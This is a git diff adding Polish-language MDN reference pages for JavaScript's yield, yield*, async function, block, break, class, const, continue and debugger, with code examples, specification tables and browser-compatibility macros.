+ +

Słowo kluczowe yield jest używane do zatrzymania i powrotu funkcji generatora ({{jsxref("Statements/function*", "function*")}} lub legacy generator function).

+ +

Syntax

+ +
[rv] = yield [expression];
+ +
+
expression
+
Definiuje wartość która ma być zwrócona przez funkcję generatora przez the iterator protocol, jeżeli pominięte, zostanie zwrócone undefined.
+
rv
+
+

Zwraca opcjonalną wartość przekazaną do metody next() generatora, do powrotu do jej wykonania.

+
+
+ +

Description

+ +

The yield keyword causes generator function execution to pause and the value of the expression following the yield keyword is returned to the generator's caller. It can be thought of as a generator-based version of the return keyword.

+ +

The yield keyword actually returns an IteratorResult object with two properties, value and done. The value property is the result of evaluating the yield expression, and done is false, indicating that the generator function has not fully completed.

+ +

Once paused on a yield expression, the generator's code execution remains paused until the generator's next() method is called. Each time the generator's next() method is called, the generator resumes execution and runs until it reaches one of the following:

+ + + +

If an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation.

+ +

Between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to {{jsxref("Generator.prototype.next()")}}, generators offer enormous power and control.

+ +

Examples

+ +

The following code is the declaration of an example generator function.

+ +
function* foo() {
+  var index = 0;
+  while (index <= 2)
+    yield index++;
+}
+ +

Once a generator function is defined, it can be used by constructing an iterator as shown.

+ +
var iterator = foo();
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#', 'Yield')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#', 'Yield')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support39{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{ CompatUnknown}}{{CompatSafari("10")}}
IteratorResult object instead of throwing{{CompatUnknown}}{{CompatGeckoMobile("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
+
+ +

Firefox-specific notes

+ + + +

See also

+ + diff --git a/files/pl/web/javascript/reference/operators/yield_star_/index.html b/files/pl/web/javascript/reference/operators/yield_star_/index.html new file mode 100644 index 0000000000..ddef530622 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/yield_star_/index.html @@ -0,0 +1,200 @@ +--- +title: yield* +slug: Web/JavaScript/Referencje/Operatory/yield* +translation_of: Web/JavaScript/Reference/Operators/yield* +--- +
{{jsSidebar("Operators")}}
+ +

Wyrażenie yield*  służy do wydelegowania działania generatora do innego {{jsxref("Statements/function*", "generatora")}} lub obiektu iterowalnego.

+ +
{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}
+ + + +

Składnia

+ +
 yield* [[expression]];
+ +
+
expression
+
Wyrażenie, które zwraca iterowalny obiekt lub generator.
+
+ +

Opis

+ +

yield* iteruje po iterowalnym obiekcie i wywołuje yield z każdą kolejną zwracaną przez niego wartością.

+ +

Wartość samego yield* jest wartością zwróconą przez iterator w momencie jego zakończenia (tzn. kiedy done ma wartość true).

+ +

Przykłady

+ +

Delegowanie logiki do osobnego generatora

+ +

W poniższym kodzie wartości yeld dla  g1() zwracane są przy wywołaniu next() dokładnie tak samo jak te, które zwraca yeld generatora g2().

+ +
function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: 3, done: false}
+console.log(iterator.next()); // {value: 4, done: false}
+console.log(iterator.next()); // {value: 5, done: false}
+console.log(iterator.next()); // {value: undefined, done: true}
+
+ +

Inne obiekty iterowalne

+ +

yield* może wywoływać yield z wartościami dostarczanymi przez inne rodzje obiektów iterowalnych , np. tablice, stringi lub obiekt arguments.

+ +
function* g3() {
+  yield* [1, 2];
+  yield* '34';
+  yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: "3", done: false}
+console.log(iterator.next()); // {value: "4", done: false}
+console.log(iterator.next()); // {value: 5, done: false}
+console.log(iterator.next()); // {value: 6, done: false}
+console.log(iterator.next()); // {value: undefined, done: true}
+
+ +

Wartość samego wyrażenia yield*

+ +

yield* jest wyrażeniem (expression) a nie statement, więc rozwiązuje się do konkretnej wartości.

+ +
function* g4() {
+  yield* [1, 2, 3];
+  return 'foo';
+}
+
+var result;
+
+function* g5() {
+  result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: 3, done: false}
+console.log(iterator.next()); // {value: undefined, done: true},
+                              // g4() zwrócił w tym momencie {value: 'foo', done: true}
+
+console.log(result);          // "foo"
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#', 'Yield')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#', 'Yield')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("27.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("27.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari("10")}}
+
+ +

Firefox-specific notes

+ + + +

See also

+ + diff --git a/files/pl/web/javascript/reference/statements/async_function/index.html b/files/pl/web/javascript/reference/statements/async_function/index.html new file mode 100644 index 0000000000..95b488405e --- /dev/null +++ b/files/pl/web/javascript/reference/statements/async_function/index.html @@ -0,0 +1,264 @@ +--- +title: funkcja async +slug: Web/JavaScript/Referencje/Polecenia/funkcja_async +translation_of: Web/JavaScript/Reference/Statements/async_function +--- +
+
{{jsSidebar("Statements")}}
+ +

Deklaracja funkcji async definiuje funkcję asynchroniczną, która zwraca obiekt  {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}. Funkcja asynchroniczna to funkcja, która działa asynchroniczne poprzez zdarzenie pętli używając bezwarunkowego {{jsxref("Promise")}} do zwrócenia wyniku. Składnia i struktura kodu używanego przy funkcjach asynchronicznych jest jednakże bardziej podobna do znanych ze standardowych funkcji synchronicznych.

+ +
+

Możesz zdefiniować funkcje asynchroniczne również poprzez użycie {{jsxref("Operators/async_function", "async function expression", "", 1)}}.

+
+
+ +
{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}
+ + + +

Składnia

+ +
async function name([param[, param[, ... param]]]) {
+   statements
+}
+
+ +

Parametry

+ +
+
name
+
Nazwa funkcji.
+
+ +
+
param
+
Nazwa argumentu, który zostanie podany do funkcji.
+
+ +
+
statements
+
Wyrażenia stanowiące ciało funkcji.
+
+ +

Wartość zwrotna (return)

+ +

Promise, które zostanie rozwiązane z wartością zwróconą przez funkcję asynchroniczną lub odrzucone z nieprzechwyconym wyjątkiem wyrzuconym z funkcji asynchronicznej.

+ +

Opis

+ +

Funkcja async może zawierać wyrażenie {{jsxref("Operators/await", "await")}}, które wstrzymuje wywołanie funkcji asynchronicznej i czeka na przekazaną deklarację Promisei wtedy wznawia wywołanie funkcji async oraz interpretuje jako wartość rozwiązaną.
+
+ Pamiętaj, że polecenie await działa wyłącznie wewnątrz funkcji async. Jeśli użyjesz go poza ciałem funkcji async otrzymasz SyntaxError.

+ +

Zauważ, że kiedy funkcja async jest wstrzymana, funkcja wywołująca kontynuuje działanie (otrzymując domyślny Promise zwracany przez funkcję async).

+ +
+

Celem funkcji async/await jest uproszczenie działania używając obietnic (promises) synchronicznie oraz by wykonać pewne działania w grupie Promises. Tak, jak Promises są podobne do strukturalnych callbacków, tak async/await jest podobne do kombinacji generatorów i obietnic.

+
+ +

Przykłady

+ +

Prosty przykład

+ +
var resolveAfter2Seconds = function() {
+  console.log("starting slow promise");
+  return new Promise(resolve => {
+    setTimeout(function() {
+      resolve("slow");
+      console.log("wolna obietnica została wykonana");
+    }, 2000);
+  });
+};
+
+var resolveAfter1Second = function() {
+  console.log("starting fast promise");
+  return new Promise(resolve => {
+    setTimeout(function() {
+      resolve("fast");
+      console.log("szybka obietnica została wykonana");
+    }, 1000);
+  });
+};
+
+var sequentialStart = async function() {
+  console.log('==START SEKWENCYJNY==');
+
+  // 1. Niemalże natychmiast dochodzi do wywołania
+  const slow = await resolveAfter2Seconds();
+  console.log(slow); // 2. to zostaje wywołanie 2s po 1.
+
+  const fast = await resolveAfter1Second();
+  console.log(fast); // 3. to zostaje wykonane 3s po 1.
+}
+
+var concurrentStart = async function() {
+  console.log('==RÓWNOCZESNY START z await==');
+  const slow = resolveAfter2Seconds(); // licznik startuje od razu
+  const fast = resolveAfter1Second(); // licznik startuje od razu
+
+  // 1. Niemalże natychmiast dochodzi do wywołania
+  console.log(await slow); // 2. jest wywołane 2s po 1.
+  console.log(await fast); // 3. jest wywołane 2s po 1., natychmiast po 2., podczas gdy szybka jest już wykonana
+}
+
+var concurrentPromise = function() {
+  console.log('==RÓWNOCZESNY START z Promise.all==');
+  return Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) => {
+    console.log(messages[0]); // wolne
+    console.log(messages[1]); // szybkie
+  });
+}
+
+var parallel = async function() {
+  console.log('==RÓWNOLEGLE z await Promise.all==');
+
+  // Równolegle startują dwa zadania i czekamy na zakończenie działania obu
+  await Promise.all([
+      (async()=>console.log(await resolveAfter2Seconds()))(),
+      (async()=>console.log(await resolveAfter1Second()))()
+  ]);
+}
+
+// This function does not handle errors. See warning below!
+var parallelPromise = function() {
+  console.log('==PARALLEL with Promise.then==');
+  resolveAfter2Seconds().then((message)=>console.log(message));
+  resolveAfter1Second().then((message)=>console.log(message));
+}
+
+sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast"
+
+// wait above to finish
+setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast"
+
+// wait again
+setTimeout(concurrentPromise, 7000); // same as concurrentStart
+
+// wait again
+setTimeout(parallel, 10000); // truly parallel: after 1 second, logs "fast", then after 1 more second, "slow"
+
+// wait again
+setTimeout(parallelPromise, 13000); // same as parallel
+
+ +
+

await and parallelism

+ +

In sequentialStart, execution suspends 2 seconds for the first await, and then again another 1 second for the second await. The second timer is not created until the first has already fired. The code finishes after 3 seconds.

+ +

In concurrentStart, both timers are created and then awaited. The timers are running concurrently, which means the code finishes in 2 rather than 3 seconds, i.e. the slowest timer.
+ However the await calls are still running in series, which means the second await will wait for the first one to finish. In this case, this leads to the processing of the result of the fastest timer to be performed after the slowest.

+ +

If you wish to fully perform two or more jobs in parallel, you must use await Promise.all([job1(), job2()]) as shown in the parallel example.

+
+ +
+

async/await vs Promise#then and error handling

+ +

Most async functions can also be written as regular functions using Promises. However async functions are a little bit less error-prone when it comes to error handling.

+ +

Both concurrentStart and concurrentPromise are functionally equivalent.
+ In concurrentStart, if either of the awaited calls fail, the exception will be automatically caught, the async function execution interrupted, and the Error propagated to the caller through the implicit return Promise.
+ For the same to happen in the Promise case, the function must take care of returning a Promise which captures the completion of the function. In concurrentPromise that means returning the promise from Promise.all([]).then(). As a matter of fact, a previous version of this example forgot to do this!

+ +

It is however still possible for async functions to mistakenly swallow errors.
+ Take for example the parallel async function. If it didn't await (or return) the result of the Promise.all([]) call, any Error would not have been propagated.
+ While the parallelPromise example seem simple, it does not handle errors at all! Doing so would require a similar return Promise.all([]).

+
+ +

Rewriting a promise chain with an async function

+ +

An API that returns a {{jsxref("Promise")}} will result in a promise chain, and it splits the function into many parts. Consider the following code:

+ +
function getProcessedData(url) {
+  return downloadData(url) // returns a promise
+    .catch(e => {
+      return downloadFallbackData(url); // returns a promise
+    })
+    .then(v => {
+      return processDataInWorker(v); // returns a promise
+    });
+}
+
+ +

it can be rewritten with a single async function as follows:

+ +
async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+
+ +

Note that in the above example, there is no await statement on the return statement, because the return value of an async function is implicitly wrapped in {{jsxref("Promise.resolve")}}.

+ +
+

return await promiseValue; vs. return promiseValue;

+ +

The implicit wrapping of return values in {{jsxref("Promise.resolve")}} does not imply that return await promiseValue; is functionally equivalent to return promiseValue;

+ +

Consider the following rewrite of the above code that returns null if processDataInWorker were to reject with an error:

+ +
async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  try {
+    return await processDataInWorker(v); // Note the `return await` vs. just `return`
+  } catch (e) {
+    return null;
+  }
+}
+
+ +

Having simply written return processDataInWorker(v); would have caused the {{jsxref("Promise")}} returned by the function to reject instead of resolving to null in the case where processDataInWorker(v) rejects. This highlights the subtle difference between return foo; and return await foo; which is that return foo; will immediately return foo and never throw even if foo is a promise and rejects whereas return await foo; will wait for foo to resolve or reject if it's a promise and will throw before returning if it rejects.

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}Initial definition in ES2017.
{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES8')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.statements.async_function")}}

+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/statements/block/index.html b/files/pl/web/javascript/reference/statements/block/index.html new file mode 100644 index 0000000000..bbc5c7e4fb --- /dev/null +++ b/files/pl/web/javascript/reference/statements/block/index.html @@ -0,0 +1,160 @@ +--- +title: block +slug: Web/JavaScript/Referencje/Polecenia/block +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/block +--- +

Blok instrukcji jest stosowany do zgrupowania zero lub więcej instrukcji. Blok jest ograniczony parą nawiasów klamrowych i opcjonalnie może posiadać etykietę.

+ +

Składnia

+ +

Blok

+ +
{ ListaInstrukcji }
+
+ +

Blok z etykietą

+ +
EtykietaBloku: { ListaInstrukcji }
+ +

Parametry

+ +
+
ListaInstrukcji
+
Instrukcje zgrupowane w bloku.
+
EtykietaBloku
+
Opcjonalna etykieta dla wizualnej identyfikacji lub jako cel dla break.
+
+ +

Opis

+ +

Blok instrukcji nazywany jest również w innych językach instrukcjami złożonymi. Pozwala użyć wielu instrukcji tam, gdzie JavaScript pozwala użyć tylko jednej. Składanie instrukcji w bloki jest powszechną praktyką w JavaScript. Za pomocą bloku można uzyskać też efekt przeciwny - brak instrukcji tam, gdzie jest wymagana.

+ +

Reguły zasięgu bloku

+ +

Zasięg var

+ +

Zmienne tworzone poprzez var nie mają zasięgu bloku. Zmienne zadeklarowane w bloku są ograniczone do funkcji lub skryptu zawierającego, a efektyoperacji na nich utrzymują się poza samym blokiem. Innymi słowy, instrukcje blokowe nie wprowadzają zakresu. Chociaż "samodzielne" bloki są poprawną składnią, nie chcesz używać niezależnych bloków w JavaScript, ponieważ nie robią tego, co myślisz, że robią, jeśli myślisz, że robią coś takiego jak w C lub Java. Na przykład:

+ +
var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // zwraca 2
+
+ +

Otrzymujesz 2, ponieważ instrukcja var x = 2, która jest w bloku jest w tym samym zasięgu co instrukcja przed blokiem. W C lub Javie podobny kod zwróciłby 1.

+ +

Zasięg let i const

+ +

Dla odmiany identyfikatory stworzone z użyciem let i const posiadają zakres blokowy:

+ +
let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // zwraca 1
+
+ +

Instrukcja x = 2 jest ograniczona w zakresie bloku, w którym została zdefiniowana.

+ +

To samo odnosi się do const:

+ +
const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // zwraca 1 i nie rzuca wyjątkiem SyntaxError.
+
+ +

Zauważ, że const c = 2 nie rzuca wyjątku SyntaxError: Identifier 'c' has already been declared, ponieważ może być zadeklarowane unikalnie w ramach bloku.

+ +

Zasięg funkcji

+ +

Funkcja zadeklarowana w bloku również widzialna jest w zakresie tego bloku:

+ +
foo('outside');  // TypeError: foo is not a function
+{
+  function foo(location) {
+   console.log('foo is called ' + location);
+  }
+  foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
+}
+
+ +

Bardziej precyzyjnie mówiąc blok instrukcji zapobiega Hoistingowi deklaracji funkcji na początek zakresu. Funkcja zachowuje się tak, jakby była zdefiniowana jako wyrażenie funkcji i jako taka jest tylko deklaracją zmiennej, która zostaje podniesiona do góry, na początek zakresu:

+ +
foo;  // zwraca undefined
+{
+  function foo(location) {
+   console.log('foo is called ' + location);
+  }
+  foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
+}
+ +

Konsekwentnie to znaczy, że gdy przeniesiemy wywołanie funkcji poniżej jej deklaracji - nie otrzymamy błędu:

+ +
{
+  function foo(location) {
+   console.log('foo is called ' + location);
+  }
+  foo('inside'); // works correctly and logs 'foo is called inside'
+}
+foo('outside');  // works correctly and logs 'foo is called outside'
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-block', 'Block statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-block', 'Block statement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.1', 'Block statement')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.1', 'Block statement')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.statements.block")}}

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/statements/break/index.html b/files/pl/web/javascript/reference/statements/break/index.html new file mode 100644 index 0000000000..661b130d71 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/break/index.html @@ -0,0 +1,67 @@ +--- +title: break +slug: Web/JavaScript/Referencje/Polecenia/break +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/break +--- +

+

+

Podsumowanie

+

Przerywa aktualnie wykonywaną pętlę, konstrukcję switch i przekazuje sterowanie programu do polecenia za pętlą lub za wskazaną etykietą. +

+ + + + + + + + + + + + +
Polecenie
Zaimplementowane w:JavaScript 1.0, NES 2.0
Wersja ECMA:ECMA-262 (wersja bez etykiety) +

ECMA-262, Edycja 3 (wersja z etykietą) +

+
+

Składnia

+

+break {{ mediawiki.external('etykieta') }} + +

+

Parametry

+
etykieta 
Identyfikator przypisany etykiecie polecenia. +
+

Opis

+

Polecenie break może zawierać opcjonalną etykietę, która pozwala programowi na wyjście z bloku poleceń oznaczonego etykietą. Polecenia w bloku oznaczonym etykietą mogą być dowolnego rodzaju. +

+

Przykłady

+

Przykład: Zastosowanie break

+

Poniższa funkcja zawiera polecenie break, które przerywa pętlę +while, kiedy e jest równe 3, a następnie zwraca wartość 3 * x. +

+
function testBreak(x) {
+   var i = 0;
+   while (i < 6) {
+      if (i == 3)
+         break;
+      i++;
+   }
+   return i*x;
+}
+
+

Zobacz także

+

continue, +etykieta, +switch +


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/break", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/break", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/break", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/break" } ) }} diff --git a/files/pl/web/javascript/reference/statements/class/index.html b/files/pl/web/javascript/reference/statements/class/index.html new file mode 100644 index 0000000000..05cdb7b2d4 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/class/index.html @@ -0,0 +1,113 @@ +--- +title: class +slug: Web/JavaScript/Referencje/Polecenia/class +translation_of: Web/JavaScript/Reference/Statements/class +--- +
{{jsSidebar("Statements")}}
+ +
Deklaracja klasy tworzy nową klasę z daną nazwą, używając dziedziczenia opartego na prototypach.
+ +
{{EmbedInteractiveExample("pages/js/statement-class.html")}}
+ + + +
+

Możesz także zdefiniować klasę, używając {{jsxref("Operators/class", "wyrażenia class", "", 1)}}. W odróżnieniu jednak od wyrażenia class, deklaracja klasy nie pozwala na ponowne zadeklarowanie istniejącej klasy i w takim przypadku zwróci błąd.

+
+ +

Składnia

+ +
class nazwa [extends] {
+  // ciało klasy
+}
+
+ +

Opis

+ +

Ciało klasy w deklaracji klasy jest wykonywane w  trybie ścisłym. Konstruktor jest opcjonalny.

+ +

Deklaracje klas nie są {{Glossary("Hoisting", "hoisted")}} (w odróżnieniu od deklaracji funkcji).

+ +

Przykłady

+ +

Prosta deklaracja klasy

+ +

W poniższym przykładzie, najpierw definiujemy klasę o nazwie Polygon, a następnie rozszerzamy ją do klasy Square. Zwróć uwagę na to, że super(), użyte w konstruktorze, może byc użyte jedynie w konstruktorach i musi być wywołane przed użyciem słowa kluczowego this.

+ +
class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    super(length, length);
+    this.name = 'Square';
+  }
+}
+ +
+

Próba podwójnej deklaracji klasy

+ +

Próba ponownego zadeklarowania klasy, przy użyciu deklaracji klasy, spowoduje wystąpienie błędu.

+ +
class Foo {};
+class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared
+
+ +

Taki sam błąd jest zwracany, gdy klasa jest zdefiniowana przed użyciem wyrażenia klasy.

+ +
var Foo = class {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+
+
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}}
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ESDraft')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.statements.class")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/statements/const/index.html b/files/pl/web/javascript/reference/statements/const/index.html new file mode 100644 index 0000000000..ead1ca32fb --- /dev/null +++ b/files/pl/web/javascript/reference/statements/const/index.html @@ -0,0 +1,53 @@ +--- +title: const +slug: Web/JavaScript/Referencje/Polecenia/const +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Statements/const +--- +

+

+

Podsumowanie

+

Deklaruje nazwaną stałą tylko do odczytu. +

+ + + + + + + + +
Wyrażenie
Zaimplementowane w:JavaScript 1.5, NES 6.0 (rozszerzenie Netscape, tylko w silniku C)
+

Składnia

+

+const nazwaStałej {{ mediawiki.external('= wartość') }} [..., nazwaStałej {{ mediawiki.external('= wartość') }} ] + +

+

Parametry

+
nazwaStałej 
Nazwa stałej. Może być dowolnym dozwolonym identyfikatorem. +
+
wartość 
Wartość stałej. Może być dowolną dozwoloną wartością lub wynikiem wyrażenia. +
+

Opis

+

Tworzy stałą, która może być globalna lub lokalna dla funkcji, która ją zadeklarowała. Zasady zasięgu dla stałych są takie same jak dla zmiennych. +

Wartość stałej nie może zostać zmieniona poprzez ponowne przypisanie; stała nie może także być ponownie zadeklarowana. +

Stała nie może mieć takiej samej nazwy jak funkcja lub zmienna o tym samym zasięgu. +

+

Przykłady

+

Przykład: Zastosowanie const

+

Poniższy skrypt wypisuje "a jest równe 7". +

+
const a = 7;
+document.writeln("a jest równe " + a);
+
+

Zobacz także

+

var +


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/const", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/const", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/const" } ) }} diff --git a/files/pl/web/javascript/reference/statements/continue/index.html b/files/pl/web/javascript/reference/statements/continue/index.html new file mode 100644 index 0000000000..b6c2a05d94 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/continue/index.html @@ -0,0 +1,166 @@ +--- +title: continue +slug: Web/JavaScript/Referencje/Polecenia/continue +tags: + - JavaScript + - instrukcja + - polecenie +translation_of: Web/JavaScript/Reference/Statements/continue +--- +
{{jsSidebar("Statements")}}
+ +

Polecenie continue zatrzymuje wykonanie pętli w obecnej iteracji, w obecnej lub wskazanej pętli i kontynuuje wykonanie pętli w kolejnej jej iteracji.

+ +
{{EmbedInteractiveExample("pages/js/statement-continue.html")}}
+ + + +

Składnia

+ +
continue [etykieta];
+ +
+
etykieta
+
Identyfikator powiązany z etykietą instrukcji.
+
+ +

Opis

+ +

W przeciwieństwie do instrukcji {{jsxref("Statements/break", "break")}}, continue nie zatrzymuje całkowicie wykonania pętli, natomiast:

+ + + + + +

Instrukcja continue może opcjonalnie zawierać etykietę, która pozwala programowi przejść do kolejnej iteracji pętli, której tę etykietę przypisano, zamiast kolejnej iteracji obecnej pętli. W tym przypadku, polecenie continue musi być zawarte wewnątrz instrukcji z etykietą.

+ +

Przykłady

+ +

Użycie continue z while

+ +

Poniższy przykład pokazuje pętlę {{jsxref("Statements/while", "while")}}, zawierającą polecenie continue, które jest wykonywane, gdy wartość zmiennej i równa jest 3 – zatem n przyjmuje kolejno wartości 1, 3, 7 i 12.

+ +
var i = 0;
+var n = 0;
+
+while (i < 5) {
+  i++;
+
+  if (i === 3) {
+    continue;
+  }
+
+  n += i;
+}
+
+ +

Użycie continue z etykietą

+ +

W poniższym przykładzie, instrukcja z etykietą checkiandj zawiera instrukcję z etykietą checkj. Jeśli zostanie napotkane polecenie continue, wykonanie programu jest kontynuowane od góry instukcji checkj. Za każdym razem, gdy napotkane jest continue, chekckj jest przeiterowywane dopóki jego warunek nie zwróci wartości false. Kiedy zwracane jest false, wykonywana jest pozostała część checkiandj.

+ +

Gdyby continue miało etykietę checkiandj, wówczas program powinien przejść na początek instrukcji checkiandj.

+ +

Zobacz też {{jsxref("Statements/label", "label")}}.

+ +
var i = 0;
+var j = 8;
+
+checkiandj: while (i < 4) {
+  console.log('i: ' + i);
+  i += 1;
+
+  checkj: while (j > 4) {
+    console.log('j: ' + j);
+    j -= 1;
+
+    if ((j % 2) == 0)
+      continue checkj;
+    console.log('Liczba' + j + ' jest nieparzysta.');
+  }
+  console.log('i = ' + i);
+  console.log('j = ' + j);
+}
+
+ +

Wyjście:

+ +
i: 0
+
+// początek checkj
+j: 8
+Liczba 7 jest nieparzysta.
+j: 7
+j: 6
+Liczba 5 jest nieparzysta.
+j: 5
+// koniec checkj
+
+i = 1
+j = 4
+
+i: 1
+i = 2
+j = 4
+
+i: 2
+i = 3
+j = 4
+
+i: 3
+i = 4
+j = 4
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusUwagi
{{SpecName('ES1')}}{{Spec2('ES1')}}Wstępna definicja. Wersja bez etykiety.
{{SpecName('ES3')}}{{Spec2('ES3')}}Dodano wersję z etykietą.
{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}{{Spec2('ESDraft')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.statements.continue")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/statements/debugger/index.html b/files/pl/web/javascript/reference/statements/debugger/index.html new file mode 100644 index 0000000000..b4fe9548a7 --- /dev/null +++ b/files/pl/web/javascript/reference/statements/debugger/index.html @@ -0,0 +1,126 @@ +--- +title: debugger +slug: Web/JavaScript/Referencje/Polecenia/debugger +translation_of: Web/JavaScript/Reference/Statements/debugger +--- +
{{jsSidebar("Statements")}}
+ +
Wyrażenie  debugger uruchamia dowolną dostępną funkcjonalność umożliwiającą debuggowanie, przykładowo poprzez ustawienie breakpointa w miejscu użycia wyrażenia. Jeżeli żadna tego typu funkcjonalność nie jest dostępna, użycie wyrażenia nie ma wpływu na działanie programu.
+ +
+

Składnia

+
+ +
debugger;
+ +

Przykłady

+ +

